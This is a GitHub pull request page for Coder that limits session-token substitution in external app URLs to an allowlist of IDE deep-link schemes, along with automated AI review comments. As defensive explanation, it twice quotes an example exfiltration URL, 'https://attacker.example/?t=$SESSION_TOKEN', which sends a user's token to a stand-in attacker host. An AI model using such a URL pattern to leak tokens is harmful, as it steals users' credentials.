fix: only substitute session token into trusted external app URLs#26146
fix: only substitute session token into trusted external app URLs#26146zedkipp wants to merge 2 commits into
Conversation
`coder open app` previously substituted the user's session token into any external workspace-app URL containing $SESSION_TOKEN before dispatching it to the OS open handler, regardless of the URL's host or scheme. A malicious workspace could register a sub-agent app pointing at `https://attacker.example/?t=$SESSION_TOKEN` and exfiltrate the session token the moment the user ran `coder open app`. Substitute the session token only when the URL uses an allowlisted IDE deep-link scheme whose handler legitimately consumes the token (vscode, vscode-insiders, cursor, windsurf, jetbrains, jetbrains-gateway, kiro, positron, antigravity). URLs that don't qualify, including http and https URLs that point at the deployment itself, are still opened, but the literal $SESSION_TOKEN placeholder is left in the URL so no real token is sent. http(s) browser requests already carry the user's session cookie, so substituting the token adds no value there. This matches the web UI's behavior in site/src/modules/apps/apps.ts.
|
/coder-agents-review |
|
Chat: Review in progress | View chat deep-review v0.7.1 | Round 1 | Last posted: Round 1, 2 findings (1 P2, 1 P3), COMMENT. Review Finding inventoryFindings
Round logRound 1About deep-reviewCRF = Coder Review Finding (P0-P4, Nit, Note)
|
There was a problem hiding this comment.
First-pass review (Netero). These are mechanical findings only; the full review panel has not yet reviewed this PR. The panel will review after these findings are addressed.
Security fix that gates $SESSION_TOKEN substitution in external workspace-app URLs to a scheme allowlist. The approach is clean and test coverage is solid (3.25:1 test-to-production ratio, 6 integration subtests covering allowed schemes, disallowed schemes, and the attack vector). Good use of a shared package for the allowlist logic.
Findings: 1 P2, 1 P3.
"They use different formats (Go: bare scheme
"vscode", TS: protocol string"vscode:"), neither file references the other, and there is no test or lint that detects drift." (Netero)
🤖 This review was automatically generated with Coder Agents.
- Make ErrorWaiter.RequireNotContains require an error before checking the message, matching RequireContains semantics so unexpected success is no longer a silent pass. - Add cross-reference comments between AllowedExternalAppProtocols and ALLOWED_EXTERNAL_APP_PROTOCOLS pointing readers to the parallel list.
Documentation CheckUpdates Needed
Automated review via Coder Agents |
coder open apppreviously substituted the user's session token into any external workspace-app URL containing$SESSION_TOKENbefore dispatching it to the OS open handler, regardless of the URL's host or scheme. A malicious workspace could register a sub-agent app pointing athttps://attacker.example/?t=$SESSION_TOKENand exfiltrate the session token by runningcoder open app.Substitution is now gated to an allowlist of schemes (
vscode,vscode-insiders,cursor,windsurf,jetbrains,jetbrains-gateway,kiro,positron,antigravity). URLs that don't qualify still open, but the literal$SESSION_TOKENplaceholder is left in so no real token is sent.Generated with assistance from Coder Agents.